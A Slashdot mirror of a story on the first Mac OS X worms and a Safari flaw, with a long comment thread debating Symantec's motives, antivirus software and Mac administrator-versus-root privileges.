Slashdot Mirror


Computer 'Worms' Turn on Macs

Carl Bialik from WSJ writes "Macs have been laregly immune to the viruses, worms and malware that have plagued PCs, but the Mac's recent popularity uptick has meant that 'bad guys appear to be casing the joint,' the Wall Street Journal reports. Among the signs: two recently discovered worms and the discovery of a vulnerability in Mac OS X that leaves Safari open to a hack. A Symantec engineer predicts a 'gradual erosion' of the idea that Macs are a safer operating system than Windows. 'Some security experts believe hackers are becoming more interested in writing nasty code for Macs precisely because of reports of its relative immunity to security woes,' the WSJ reports. 'Apple itself has gone out of its way not to promote the Mac's relative safety, lest it tempt hackers to prove the company wrong. Apple declined to discuss the topic of security in depth for this article.'"

450 comments

  1. Symantec? by matt4077 · · Score: 5, Insightful

    A Symantec engineer predicts a 'gradual erosion' of the idea that Macs are a safer operating system than Windows.

    Now there's a neutral party with no agenda when it comes to security!

    Honestly, the worst Mac malware I've seen so far had a Symantec sticker on the box.

    1. Re:Symantec? by dantheman82 · · Score: 4, Insightful

      Apparently, they've had slow sales on the Mac platform recently. Perhaps a real worm/virus in the wild would be some newsworth info...

      --
      This sig donated to Pater. Long live /.
    2. Re:Symantec? by taylor_venable · · Score: 1, Flamebait

      Yes, if there's anyone who can stand to make a quick buck off security worries, it's the so-called "security software" businesses themselves. Of course, they all love to insinuate that all operating systems play on the same level field. (So the only way to make sure you're safe is to BUY OUR [poorly written] PRODUCT!) Now, because a couple people came up with a proof-of-concept exploit, they get their chance to say "See, Mac OS X isn't any more secure than Windows is!" But of course, we know that there's hardly any truth behind those statements. Sure, all software systems have holes, and flaws, and bugs. But depending on how the software is written, the threats from those vulnerabilities can be mitigated and even made altogether impotent. I'm not an OS X user, but I do exclusively use operating systems that live in the same family tree, the modern BSD Unixen. And I can state from experience that these systems are inherently more secure than some other commercial operating systems, simply because of the way they are written. (For example, the level of source auditing found in OpenBSD, etc. etc.)

    3. Re:Symantec? by twocents · · Score: 3, Insightful

      No kidding. Symantec would love their user base to expand, especially since MS is selling anti-virus software. It is legit to promote awareness of possible OS X exploits, but it ridiculous to rely upon any information from a company such as Symantec - they have a vested interest in scaring the hell out of people that don't know any better.

    4. Re:Symantec? by peragrin · · Score: 3, Insightful

      a recently symantec update did more damage to users systems than the so called recent virus script looking like an image did to all the computers it actually attacked.

      So yea symantec sales would be slow.

      --
      i thought once I was found, but it was only a dream.
    5. Re:Symantec? by somersault · · Score: 1

      "they have a vested interest in scaring the hell out of people that don't know any better."

      sound a bit like the virus writers to me =p except maybe the virus writers aren't trying to be so open with the public about having them install their software..

      --
      which is totally what she said
    6. Re:Symantec? by Golias · · Score: 4, Insightful

      One of the recent worms relies on iChat.

      I use iChat every day, and have other Mac users on my "Buddies" list, yet I've still yet to get this particular worm delivered to me, and it's been well over a week since I heard about it being "in the wild." There was even a story about it over on Drudge, so somebody must have been hit by it, right? Yet, I still have yet to hear a first-person account of somebody getting this particular worm sent to them.

      Part of the reason for this might be that the Mac gives all kinds of warnings about the nature of incoming files, and even requires that you type in your admin password before running anything that hits any important part of the OS. (Hint: just installing an application or performing trivial tasks does not require a password. Whenever you get a password prompt on a Mac, you know that the app in question is trying to do something which requires root-level access.)

      Installing antivirus software on a Mac is worse than useless. Should a virus ever come along which can get past both MacOS security and simple user awareness, currently-existing anitvirus software won't be ready for it anyway.

      Plus, I know enough from running antivirus software on my Windows PC at work (which I would never DARE go without) that anitvirus software means a performance hit and less stability of the operating system.

      I think I'll just stick with common sense and Apple's frequent OS update patches.

      --

      Information wants to be anthropomorphized.

    7. Re:Symantec? by lidocaineus · · Score: 1

      If I install an application (ie, it wants to copy itself to /Applications), I definitely get an admin password prompt. Anytime I do anything that requires write access outside of my ~, I get the password prompt. Are you running as an administrator-level user?

    8. Re:Symantec? by Golias · · Score: 1

      Of course. Are you using a school computer or something?

      I still get Administrator password prompts when installing OS upgrades and the like, but installing the newest version of EyeTV went like this:

      Step 1: Download the image.
      Step 2: Drag the application from the image into my Applications folder.
      Step 3: There's no step three. *laughs* There's no step three!

      --

      Information wants to be anthropomorphized.

    9. Re:Symantec? by lidocaineus · · Score: 1

      Your applications folder, or the system applications folder? I just tried copying anything into /Applications (via the finder's sidebar) and got the auth prompt. If it's under your ~ it's of course not going to ask you for it...

    10. Re:Symantec? by Duhavid · · Score: 1

      Normally, I discount most conspiracy theories....

      But here I am talking one.

      The timing seems a bit suspicious.

      --
      emt 377 emt 4
    11. Re:Symantec? by asoukup · · Score: 1

      Step 4: Double click the Application to run it
      Step 5: If EyeTV requires "installing" anything into system/library directories, it still will prompt for Administrator password.

      If there's no password required then the EyeTV app isn't installing anything into the system directories.

    12. Re:Symantec? by Angostura · · Score: 2, Informative

      FYI the worm in question only spreads via Bonjour (nee Rendevous) connections, not via standard AIM chats.

    13. Re:Symantec? by dougmc · · Score: 1
      Plus, I know enough from running antivirus software on my Windows PC at work (which I would never DARE go without)
      Odd. I'm mostly a *nix guy, but on the machines where I use Windows, both at home at at work, I don't run virus scanners at all (for the reasons you gave) unless forced on me (like on some work machines) and I haven't gotten hit with a virus since 1991.
      that anitvirus software means a performance hit and less stability of the operating system.
      Well, yes. But in theory the performance hit could be minimized, and the stability of the operating system should not be affected. In practice, this is not yet the case.
      I think I'll just stick with common sense and Apple's frequent OS update patches.
      Of course, this would be equally effective for Windows users. If Windows users 1) used common sense and 2) applied Microsoft's patches immediately, they would have very few problems as well. I'd also suggest that unless they know better (and most don't) they run whatever firewall Microsoft provides or use a firewall box (like a cable modem router) and that they use something like SpyBot.

      Of course, `common sense' isn't really that common, among Mac or Windows users. This .exe/.sit file that somebody mailed me lets me play elf bowling? Give me some of that! (Of course, I'm not sure that I'd argue that `don't click on strange things' qualifies as common sense ... but it's certainly one of the first things you should learn, whatever your OS.)

    14. Re:Symantec? by Susceptor · · Score: 0

      Isn't that evil? Microsoft selling anti-virus software that is. i mean they are the company that is supposed to build an OS that is not vulnerable to begin with. Seems like a huge conflict of interest for MS to also be selling anti-virus software, since it means that they actually make money from the lusy software (OS) that they themselves create with swiss cheese size holes.

      --
      Fool me once...shame on you, fool me twice...won't be fooled again (our president)
    15. Re:Symantec? by Anonymous Coward · · Score: 0

      Am I the only one that has the feeling that all this has to do with Apple using Intel processors?

      If Symantec & Co start talking about viruses on MacOSX, just as Apple changes processors, I'm pretty sure that many people will think that viruses have to do with the procesor, not with the OS, and thus, MacOSX is more insecure now.

      It's actually a pretty good scare tactic to sell antivirus.

    16. Re:Symantec? by frankie · · Score: 1

      Hell yes. My organization has a WORLDWIDE license for Symantec AV (including FREE use on all personal PCs) and most of our Mac User Group uninstalled it (or at least the resident part) after the latest vulnerabilities.

    17. Re:Symantec? by Fred_A · · Score: 1

      Symantec, isn't that the software that's harder to remove that most worms and viruses ?

      I'm sure most Mac users can't wait. I hope thay make a Linux, a BSD and a Solaris version too.

      --

      May contain traces of nut.
      Made from the freshest electrons.
    18. Re:Symantec? by Fred_A · · Score: 1

      I'll buy myself some of that "common sense" you're speaking of as soon as that money from Nigeria comes in (can't tell you about it, it's a once in a lifetime opportunity).

      Hmm, I wonder what this v1agra thing is...

      --

      May contain traces of nut.
      Made from the freshest electrons.
    19. Re:Symantec? by Richard_at_work · · Score: 1

      I get the same as the GP, I can copy anything into /Applications with no password prompt at all, and I havent changed anything (clean install of Tiger, no changes to the user settings).

    20. Re:Symantec? by Anonymous Coward · · Score: 0

      installing the newest version of EyeTV went like this:

      Step 1: Download the image.
      Step 2: Drag the application from the image into my Applications folder.
      Step 3: There's no step three. *laughs* There's no step three!


      That's two whole steps?!

      In Debian, the equivalent would have been:

      Step 1: "apt-get install [program name]"
      Step 2: Don't bother laughing about anything, because I'm too busy getting real work done.

    21. Re:Symantec? by Golias · · Score: 1

      It doesn't. Seems most apps don't.

      --

      Information wants to be anthropomorphized.

    22. Re:Symantec? by Golias · · Score: 1

      If Windows users 1) used common sense and 2) applied Microsoft's patches immediately

      Except that common sense tells me not to apply Microsoft's patches immediately, so 1) and 2) are mutually exclusive.

      --

      Information wants to be anthropomorphized.

    23. Re:Symantec? by lidocaineus · · Score: 1

      Not to be pedantic or anything, but are you positive you're not an admin user? Just go to the User Accounts preference pane and look at your account settings. I can never copy anything into /Applications without getting prompted.

    24. Re:Symantec? by Golias · · Score: 1

      Step 3: Scratch your head and wonder why EyeTV, a Mac OS X program, isn't running on your Debian box.

      --

      Information wants to be anthropomorphized.

    25. Re:Symantec? by Anonymous Coward · · Score: 0

      Step 1: "apt-get install [program name]"
      Realize that Oh-shit, not part of the distribution.

      Step 2: Download the code
      Step 3: ./configure
      Step 4: make
      Step 5: make install
      Step 6: Laugh smugly about the superiority of Linux

    26. Re:Symantec? by Cro+Magnon · · Score: 1
      Honestly, the worst Mac malware I've seen so far had a Symantec sticker on the box


      The worst WINDOWS malware I've seen was from Symantec!
      --
      Slow down, cowboy! It has been 4 hours since you last posted. You must wait another few hours.
    27. Re:Symantec? by Richard_at_work · · Score: 1

      I am whatever OSX sets me up as by default. I still need to input my password for system updates, preference changes and other things, but I can most definately put stuff into /Applications without entering a password.

    28. Re:Symantec? by MysteriousPreacher · · Score: 1

      Either he's an admin user or the permissions have been changed for the applications folder. You're right that regular users by default can't modify the applications folder or much else outside of their home.

      --
      -- Using the preview button since 2005
    29. Re:Symantec? by lidocaineus · · Score: 1

      The default is an admin user. At least that's what I had to do (remove the admin checkbox on my default account).

    30. Re:Symantec? by sqlrob · · Score: 1

      Step 7 - delete step 6 after realizing steps 1-5 work on the Mac.

    31. Re:Symantec? by FluffyWithTeeth · · Score: 1
      It ONLY spreads over a LAN connection, it cannot work through the net.

      In short, anyone sending you a latestpics.tgz file is just having a bit of fun ;)

    32. Re:Symantec? by dougmc · · Score: 1
      Except that common sense tells me not to apply Microsoft's patches immediately, so 1) and 2) are mutually exclusive.
      For Joe User, the best thing to do is to let Microsoft's patcher install patches when it wants to.

      If you're the administrator of a company, testing patches on a sandbox isn't a bad idea before installing them on your critical server (but then again, if you're running Windows on a critical server, you're used to pain already) but if you're not one to explicitly test patches before installing them, you might as well install them as soon as Microsoft's tool wants to install them.

      You really don't think Grandma tests her patches first, do you? (of course not. Though really, she has dialup, and the patch set will take 3.4 hours to download, so she just aborts it and they never get installed ...)

      Though really, common sense tells me not to run critical servers on Windows anyways. I'm guessing that other people have different versions of what constitutes `common sense'.

    33. Re:Symantec? by Anonymous Coward · · Score: 0

      >>I don't run virus scanners at all (for the reasons you gave) unless forced on me (like on some >>work machines) and I haven't gotten hit with a virus since 1991 [google.com].

      avg is very good and not a resource hog. it also sticks to its job of being a anti virus system rather then firewall/nids.

    34. Re:Symantec? by SatanicPuppy · · Score: 1

      Yep. Recently had to reinstall Windows because of the errors that kept cropping up after I uninstalled Norton...Screwed the MBR six ways to sunday.

      --
      ad logicam Claiming a proposition is false because it was presented as the conclusion of a fallacious argument.
    35. Re:Symantec? by flappinbooger · · Score: 2, Informative

      "Honestly, the worst Mac malware I've seen so far had a Symantec sticker on the box."

      Mcafee is just as bad. Norton products move in and provide lots of bloat, slowdowns and the random, annoying crash. McAfee products, from my experience, grind the system to a halt.

      --
      Flappinbooger isn't my real name
    36. Re:Symantec? by Golias · · Score: 1

      It's worth noting that the default user on OS X is Admin, but on the Mac there's one important distinction:

      Administrator != root.

      Unlike Windows, it's perfectly safe to run full-time as the "Administrator" user, and nearly every OS X user does. You'll still need to enter a password to do stuff which requires root-level access.

      --

      Information wants to be anthropomorphized.

    37. Re:Symantec? by Golias · · Score: 1

      You really don't think Grandma tests her patches first, do you?

      No, but if Grandma's been burned once, she'll wait and apply the patch after it's been out there for a few weeks, and her nephew the BOFH tells her that *this time* it appears to be safe to run.

      --

      Information wants to be anthropomorphized.

    38. Re:Symantec? by Anonymous Coward · · Score: 0

      You forgot tar -xzf, dude

    39. Re:Symantec? by lidocaineus · · Score: 1

      I know the difference, however the OP mentioned that installing an app doesn't require a password. It does if you're running as a normal user.

    40. Re:Symantec? by Anonymous Coward · · Score: 0

      Even with increasing threats from viruses, Mac OS is will never have as many problems as Microsoft Windows. By default, Mac OS has far more secure settings. Microsoft executes too many things with super-user type privileges. Also, Unix security adds an additional layer of security since a program needs to be executable before it will run.

      http://www.supportregion.com/

    41. Re:Symantec? by shambalagoon · · Score: 2, Informative

      The worst computer disaster in all my years of computer use was thanks to Symantec. Apparently I had installed a slightly older version of Norton on my Mac. I think this was when they changed OS 9 to the extended file system. Norton had no problem running on an OS version that it wasnt built for. I ran the check on the system, and it found what it thought were errors, which it promptly "fixed". What it actually did was scramble almost all the data on my hard drive. My computer was inoperable. I got on the mac forums along with droves of other people freaking out about the loss of all their data, and it took several weeks for Symantec to come up with a fix that undid the damage it did to all those Macs.

      Obviously, that was the last time ever used their products.

    42. Re:Symantec? by l3prador · · Score: 2, Insightful

      Can anyone come up with a good reason why we rely on separate companies, who have a vested interest in there being dangerous virii out in the open so that people will buy their software? Why don't we hold the OS makers, who have a vested interest in their OS being free from these sorts of threats accountable for either eliminating vulnerabilities or providing their own anti virus software, as an integral part of the operating system? The only other source that could possibly be reliable would be the OSS community, which wouldn't be getting any money for the increase of users installing anti-malware software.

    43. Re:Symantec? by CableModemSniper · · Score: 1

      So basically it has no chance of spreading across the public internet. Which means that the author basically released it into his own LAN? Seems like a silly worm.

      --
      Why not fork?
    44. Re:Symantec? by John+Newman · · Score: 4, Informative
      Unlike Windows, it's perfectly safe to run full-time as the "Administrator" user, and nearly every OS X user does.
      It's mostly safe, not perfectly safe. The iChat virus/trojan suggests one reason why. Since an admin has free access to /Applications, a bug running under that user's permissions can modify apps in that folder, helping the bug to spread itself either locally (next time another user on the machine opens an infected app) or remotely (e.g. via a modified iChat). A second reason is that admin users can sudo with their own password. If the admin account's password is compromised by a bug or hacker, root control of the machine goes with it. This is not the same as running as root, like Windows admins do, and viruses running under the admin user's permissions do not have root access. A regular user must enter an admin's username/password to sudo, making the virus/hacker's job more complicated.

      Nearly ever OS X user on a single-person machine runs as admin, and that's what Apple sets up by default. But it's not a bad idea to reocnsider.
    45. Re:Symantec? by larkost · · Score: 1

      Actually, that was Sophos. And the real kicker: they were just finally reacting to a worm that had already been patched 8 months ago by Apple and only affected 10.4.0 (not 10.3.9 or 10.4.1) and systems with bluetooth (a small group since there have been real upgrades in the bluetooth code since then).

    46. Re:Symantec? by larkost · · Score: 1

      Apple does react to these things, much faster than the AV firms usually do (one of the worms references in this article was patched by Apple 8 months ago, but is news because Sophos is only reacting to it now). The only real reason to have AV on a Mac at this point is to make sure that you don't incidentally spread viruses to PCs. Oh... and to make sure the MS Office macro viruses don't annoy you.

    47. Re:Symantec? by larkost · · Score: 1

      No, this is wrong. The "worm" is really a Trojan Horse, and requires that you decompress, then run it manually. It then uses iChat to send itself to every person on your buddy list. This really was a non-event.

    48. Re:Symantec? by Golias · · Score: 1

      It's mostly safe, not perfectly safe. The iChat virus/trojan suggests one reason

      It would, if Admin users didn't still need to enter their password and authorize the iChat trojan.

      As it stands, it supports my point, that Admin != root.

      --

      Information wants to be anthropomorphized.

    49. Re:Symantec? by Heembo · · Score: 1

      A Symantec engineer predicts a 'gradual erosion' of the idea that Macs are a safer operating system than Windows. Everytime there is a major outbreak Symantec's stock goes up a few *percentage* points! Oh my!

      --
      Horns are really just a broken halo.
    50. Re:Symantec? by rdoger6424 · · Score: 1

      Admin=Sudo is what you mean

      --
      "Hello 911? I just tried to toast some bread, and the toaster grew an arm and stabbed me in the face!"
    51. Re:Symantec? by 99BottlesOfBeerInMyF · · Score: 1

      Of course, `common sense' isn't really that common, among Mac or Windows users. This .exe/.sit file that somebody mailed me lets me play elf bowling? Give me some of that!

      I take exception to this. There is no reason at all using a properly developed OS the average user should not be able to run a random game from the internet without their machine being compromised. Users can be the weakest link in the security chain but you have to give them the proper tools before it comes to that. When a user downloads some random executable and runs it the OS should warn them it is an executable, but it should also quarantine that program in a VM or similarly restrict it. I mean how often do you download something at random and want it to access the internet, be able to access your personal files without permission, log keystrokes from other applications, overwrite other programs, or modify the OS in a significant way? Whenever a new program wants to do any of these things the user should be prompted and given the option to allow or disallow the behavior and it should be presented to them in plain language and with real options (not OK/Cancel). Build that functionality into the OS first, then provide a small amount of education. If users still screw up you can complain that they have no common sense.

      Honestly, I get annoyed when users do dumb things too, but they should not have to be experts to do common tasks. In reality most OS's these days do a piss poor job of providing users with the functionality, control, and information they need. OS X may be a little better than Windows in this regard, but it is nowhere near good enough. The main reason it seems well done is because it is standing next to the poster child of easy compromises. There are real improvements that need to be made and probably would have been made by now if progress had not been brought to a crawl by a certain monopoly.

      User education is important, but it should be a two hour course if users are given the proper tools, not a four year degree to be a harder target than the average.

    52. Re:Symantec? by ceoyoyo · · Score: 1

      I always uninstall the virus scanner ANYWAY. It's annoying always popping up, and constantly sucks processing power and memory. Plus I can't figure out exactly what it's doing... looking for Windows viruses I guess. I'm pretty good at deleting .bat, .pif, .scr and .exe attachments myself though, thanks.

    53. Re:Symantec? by ceoyoyo · · Score: 1

      I think the Applications folder is writable by the admin group on Tiger. On older versions of OS X it wasn't but that was admittedly kind of a pain. It would be nice if admins were just asked to authenticate to write to folders they don't normally have permissions on.

    54. Re:Symantec? by nogginthenog · · Score: 1

      You're assuming there are no bugs or exploitable holes in your OS (highly unlikely IMHO). Ever heard of the original internet worm? It infected a whole bunch of computers back in the 80s and effectively shut down the (pretty small back then) Internet. These computers were running BSD Unix derivatives. Like the Mac does today. You really shouldn't be so complacent. Mac viruses *will* happen.

    55. Re:Symantec? by ceoyoyo · · Score: 1

      Most apps shouldn't. There's very little reason for a well designed fully native app to have to install anything at all. Thus the simplicity of drag and drop to install.

    56. Re:Symantec? by tgibbs · · Score: 1

      Yes, every time some potential vulnerability for the Mac turns up, the journalists always call the anitvirus software makers, who always say the same the same thing, "See, you Mac users are going to need our product any day now! Buy today so you'll be ready!"

      What they don't say is this: Currently Mac problems caused by antivirus software far outnumber problems caused by viruses, spyware, root kits, and trojan horses put together.

    57. Re:Symantec? by Anonymous Coward · · Score: 0

      In other words...you're hosed. Shudda stuck to Windoze!

    58. Re:Symantec? by dougmc · · Score: 1
      Of course, `common sense' isn't really that common, among Mac or Windows users. This .exe/.sit file that somebody mailed me lets me play elf bowling? Give me some of that!
      I take exception to this.
      Well, of course you do! -- you cut out my next, very relevant sentence :
      (Of course, I'm not sure that I'd argue that `don't click on strange things' qualifies as common sense ... but it's certainly one of the first things you should learn, whatever your OS.)
      i.e. I'm pretty much saying that this is a learned behavior, not common sense ... but it's something you need to learn fast, or at least you'll need somebody around to rebuild your computer on a regular basis, or harden it first so that you can't really do anything to it on your own.
      When a user downloads some random executable and runs it the OS should warn them it is an executable, but it should also quarantine that program in a VM or similarly restrict it.
      Yes, in an ideal world that would be the case. Unfortunately, I know of no commonly used OS or browser that automatically provides this, so for now, people need to not run random executables that they come across. (And yes, I am aware that there are ways to `defang' them (including with programs like mime-defang), and there are various ways to make them look like `safe' items, even to the trained eye or to scanners.)

      The situation you're referring to is partially here -- things like java, javascript and flash allow programs to run in a sandbox environment which has limited access to the computer outside the sandbox, and generally you're not asked if these should be executed -- they just are, unless you disable that form of program entirely. But as long as your computer is your computer (and not completely locked down so you can't do anything with it (like with an ATM, or a kiosk or an Xbox (yes, I know these can be hacked too)), there's likely to be some way that you can download an executable program and give it control of your computer. The browser and/or OS may throw up more and more WARNING! signs and barriers and such, but ultimately, there's going to be some way to do it. For example, without some way of doing this, we couldn't download and install Linux, of FreeBSD, or whatever else you want.

      User education is important, but it should be a two hour course if users are given the proper tools
      Even with the current state of software, two hours of education would be enough for 99% of the things a user would encounter, and is about 110 minutes more than many people seem to have gotten.
    59. Re:Symantec? by mindstrm · · Score: 1

      Perfectly safe in what sense?

      IT's just mixing words. Yes, you are locked out of certain system level things if you don't have the admin password.... even if it's logged in. Yes it's technically not "root", but you can still earse every document, all your email, wipe out and/or modify all your applications, and so on. You may not be able to format the disks, but you could do enough damage for it not to matter. After all, the system level stuff can be generally restored from the original CDs in the first place.

    60. Re:Symantec? by jaseuk · · Score: 1

      Well if you get a virus that Symantec can't detect (because updates are so slow), it'll remove Symantec for you.

      It's really not that hard.

      Jason

    61. Re:Symantec? by Anonymous Coward · · Score: 0

      I have to agree with taylor_venable's comments. The problem with Windows that makes it so vulnerable to attack is a deep, architectural flaw that is difficult or impossible to repair without replacing everything (I'm thinking of the un-authenticted message passing problem. Does anyone know of a URL for a good summary of it?). Other systems, such as "OS X", the other BSD Unixen, and Linux may or may not contain similar architectural flaws, but given current experience and knowledge of the history of these systems and the number of eyeballs that have looked at them, it seems unlikely that a flaw analagous to the Windows one exists.

      Having said that, it always pays to be vigilant. Seeing the fiasco with the Sony CD-ROM rootkit reminds us that we should all be careful what we put on our machines, regardless of what kind.

    62. Re:Symantec? by 99BottlesOfBeerInMyF · · Score: 1

      I think we're mostly on the same page, but I think OS's should be improved to make users safer, while you are arguing more for education (something I think is just too complex for the average couch jockey given the state of the art). I honestly think that if not for the Windows monopoly OS's would have implemented this sort of control years ago to give average users the option to "run the dumb game without letting it fuck anything up." I agree that java/flash etc. are part of the way there, but it needs to be taken the rest of the way. The OS needs to have the UI built to let users actually control the sandbox and all programs need to run in it by default. I'm not talking about taking control away from users, I'm just talking about giving them more finely grained control and the information they need to use it within the UI.

    63. Re:Symantec? by TheGreatHegemon · · Score: 1

      I haven't seen most of those dangerous viruses for windows either. Just because you didn't get the iChat virus doesn't mean it doesn't exist.

    64. Re:Symantec? by thogard · · Score: 1

      The x86 stack is much easier to abuse than the PPC or Sparc stack. This is why many of the recent exploits for Solaris are x86 only. I expect the same will be true for the x86 OS-X as well.

    65. Re:Symantec? by John+Newman · · Score: 2, Informative
      It would, if Admin users didn't still need to enter their password and authorize the iChat trojan.
      Actually, the reports were clear that it doesn't require a password. The reason is that it only modifies iChat.app, not any system files. An admin user has read/write access to /Applications, no authentication necessary. Try it yourself (modifying /Applications, that is, not running the worm).

      You're absolutely right that admin != root; but nor is it quite as blind, deaf and dumb as an unprivileged user.
    66. Re:Symantec? by Admiral+Ag · · Score: 1

      Applications has always been writable by the admin group since 10.0. I should know, I've used every version of OS X other than OS X Server since it was launched.

      The iChat trojan shows that running as admin is probably not a good idea. Personally, I have a separate admin account. In most cases when I want to install something, I am merely prompted for the admin account name and password. On odd occasions I have had to switch to the admin account, but with fast user switching (yes, I know Apple "borrowed" this from Windows) it isn't much of a problem.

      No matter what manufacturers do, there will always be the possibility of malicious code being able to disrupt your computer, if only because it can always exploit the human being operating the system. OS X is about as secure as you are going to get. If you don't run as admin, then the only damage you can do is to your home folder. Sure, that's bad, but it's a lot better than nuking the whole system.

      If Apple is at fault here, it is because they do not inform let alone guide all users to run ordinary user accounts as the norm. I imagine they won't do anything about it, since most computer users would find the very notion of user privileges perplexing.

      It's still a far cry from Windows. As far as I know, you can run all your applications from an ordinary user account. IIRC some Windows applications cannot be used unless you run as admin. That makes Windows worse than OS X in a crucial respect.

      --
      "by that I mean people who don't sit on slashdot all day wondering why everyone else isn't building robots" DECS
    67. Re:Symantec? by Anonymous Coward · · Score: 0

      But yet for the WSJ article, they say

      Apple declined to discuss the topic of security in depth for this article.

    68. Re:Symantec? by drsmithy · · Score: 1
      Unlike Windows, it's perfectly safe to run full-time as the "Administrator" user, and nearly every OS X user does.

      This might have something to do with "Administrator" on Windows and "Administrator" on OS X being completely different things.

      Your comment is like me creating a regular user called 'root' on my Windows machines and saying "unlike unix, it's perfectly safe to run full-time as the 'root' user in Windows".

    69. Re:Symantec? by drsmithy · · Score: 1
      Except that common sense tells me not to apply Microsoft's patches immediately, so 1) and 2) are mutually exclusive.

      As long as they don't post to Slashdot, this doesn't apply, since IME only Slashdot posters have problems with Windows patches breaking something more than once in a blue moon.

    70. Re:Symantec? by kchrist · · Score: 1

      Yes it's technically not "root", but you can still earse every document, all your email, wipe out and/or modify all your applications, and so on.

      Note that the first two of your three examples can be done as a regular, low-level user as well.

    71. Re:Symantec? by X0563511 · · Score: 1

      Think thats interesting? Try installing a Panda brand AV on a computer that had Norton AV (the non-corporate symantech AV if you don't know) at some point in the past... system hosure (unless you hunt down and destroy the leftovers, which are hidden from explorer).

      --
      For large sets, this will be our guide even unto death, for the LORD will work for each type of data it is applied to...
    72. Re:Symantec? by lucifuge31337 · · Score: 1

      Recently had to reinstall Windows because of the errors that kept cropping up after I uninstalled Norton...Screwed the MBR six ways to sunday.

      If you think the MBR being "screwed" is the reason you had to reinstall Windows, you're a moron.

      fdisk /mbr

      --
      Do not fold, spindle or mutilate.
    73. Re:Symantec? by ceoyoyo · · Score: 1

      Hm... I remember we had some problems with people not being able to install apps on their computers. We must not have been letting them have admin privileges.

      Apple has made it much easier to run as non-admin. Fast user switching, and OS X is better at giving you the opportunity to authenticate. Of course, fast user switching was borrowed by MS and Apple from Unix virtual terminals (and I'm sure somebody can point out an example even before that).

      You're absolutely right that you can ALWAYS compromise a useful OS. If the OS doesn't let you do anything, it might be secure. The important thing is to minimize the chances, minimize the damage when it happens, and make good practices as easy as possible for the average user to use.

      One of the things about the Mac is that an average program most likely does not need to install anything. The native Cocoa apps are, usually, self contained. I've yet to encounter a non-trivial Windows program that didn't need an installer program, and almost all of them need admin privileges to install.

    74. Re:Symantec? by violent.ed · · Score: 1

      2 words - Monopoly; Antitrust Lawyers (ok i lied it was 3.)

      --
      - You're not paranoid, they really are after you.
    75. Re:Symantec? by tricorn · · Score: 1

      There are quite a few other files that affect the machine (and other users, if any) that can be modified by group=admin without needing to request privileges. Lots of things in /Library, for instance. They did fix some of the startup services handling in the latest version to require that those files be secure (owned and writable only by root) - in earlier versions, it was possible to install a startup service that would run as root at next system start. There are plenty of others.

      I always set up machines with an administrator user, and make all other users be non-administrator. It is absolutely simple to do, and the only thing I've found that doesn't work right is, tada, the Microsoft Office Test Drive program... it requires you to be admin when you first run the program (by failing in non-obvious ways), and then fails in other non-obvious ways if you try to run it with a different user (admin or not). Good going, Microsoft!

    76. Re:Symantec? by Gorbag · · Score: 1

      No kidding. It's like a couple of guys with broken noses coming into you restauraunt trying to sell you insurance for only a few thou a week.

      "(Sniff, sniff), smell a fire?"

      --
      -- I speak only for myself
    77. Re:Symantec? by PabloJones · · Score: 1

      I think that more integration with the OS would be the ideal way to go.

      I've had the unfortunate experience of installing Norton Antivirus (supplied to me for free by my university) on my Mac. I ran it, it found some files, deleted them, and no harm done. However, every time I plugged in my firewire or flash drives, it would immediately start scanning them, each and every time they were plugged in. Obviously, a simple trashing of the Norton folder did nothing to get rid of the obtrusive software.

      Basically, if you have antivirus software running, it gets in your face at every possible chance, which is ironic, given the fact that its sole purpose is to prevent your computer from acting up on you in the first place. An integrated solution where it all happens in the background, out of site from the user would be much better.

      Would it be possible for the OS to actually check a program before allowing it to run? That way, the user would only be prompted if there was actually a problem, not while doing everyday tasks.

    78. Re:Symantec? by neuroticia · · Score: 1

      With so many Mac applications breaking after minor _point_ updates, I can't even imagine running a major system-interwined utility after an update. I mean hell, Retrospect has an issue where you have to download the right point version to match the right point version, otherwise you're looking at data corruption. And Retrospect is a _backup utility_. I don't even know if the downloadable updates for the point-versions alert you to the issue if you run them. Programmers (on the Mac?) don't seem to like to fail in ways that leave the user unharmed. Too much of a 'That could never happen' attitude, not enough checking and re-checking of things, and not enough fatal exceptions. (Yes, crashes are good things when the alternative is bye-bye data)

  2. They could report a worm a day ... by tomhudson · · Score: 1, Insightful

    The could report a worm or virus a day for the rest of my LIFE and they'd still have a better security record than Windows.

    1. Re:They could report a worm a day ... by TubeSteak · · Score: 2, Funny
      The could report a worm or virus a day for the rest of my LIFE and they'd still have a better security record than Windows.
      I guess the real question is: "How many of those bugs will remain unfixed by the time you die."

      We already know Microsoft's answer, but how does Apple deal with bugs in Mac OS 8 and Mac OS 9? (And does anyone still use Mac OS 7?)
      --
      [Fuck Beta]
      o0t!
    2. Re:They could report a worm a day ... by Anonymous Coward · · Score: 0

      Thats because the original versions of windows wasn't built with security in mind.
      Expect windows security to get A LOT better since they are desinging NEW versions
      of windows WITH security in mind.

    3. Re:They could report a worm a day ... by Anonymous Coward · · Score: 0

      Good FOR them, I look FORWARD to seeing THIS!

    4. Re:They could report a worm a day ... by naelurec · · Score: 1

      We already know Microsoft's answer, but how does Apple deal with bugs in Mac OS 8 and Mac OS 9? (And does anyone still use Mac OS 7?)

      Is it realistic to still assume support for any of those systems? Mac OS 9 was released in Oct 1999 .. Besides that, OS 9 was, for all intents and purposes, OS 8.7 .. so now your looking at a system that was originally released in 1997! I don't think any vendor is still providing support for these older systems.

    5. Re:They could report a worm a day ... by Antifuse · · Score: 1

      Microsoft supported NT 4.0 until the end of 2004 (released 1996). Windows 2000 (released only a year after OS 9) only finished mainstream support in June of last year, and still continues on in their extended support program, most likely to continue doing so for at least 2-3 more years. I don't know what Apple's support program for older OSes is, but you're wrong when you say "I don't think any vendor is still providing support for these older systems".

    6. Re:They could report a worm a day ... by dougmc · · Score: 1
      how does Apple deal with bugs in Mac OS 8 and Mac OS 9?
      MacOS 9, I'm guessing they fix it.

      MacOS 8, I don't know. My guess is that it's not supported anymore, so it doesn't get fixed.

      As for Microsoft, they don't fix bugs in NT 4 and Windows 95 anymore. Windows 98 and ME will have their support dropped in five months, even though there's still *millions* of installed systems out there.

      In any event, security is not based on the number of worms and/or viruses out there for a specific platform.

    7. Re:They could report a worm a day ... by TubeSteak · · Score: 1

      I'd expect something along the lines of what Microsoft offeres, which is 5 years mainstream + 5 years extended support.

      Why else do you think MS is scrambling to ship Vista? XP's 5 years of mainstream suport end in 2006 and MS wasnts to ship a new OS and new service contracts before the old ones run out.

      I didn't realize Apple was in the same game of planned obsolescence.

      --
      [Fuck Beta]
      o0t!
    8. Re:They could report a worm a day ... by Jeremy+Erwin · · Score: 1

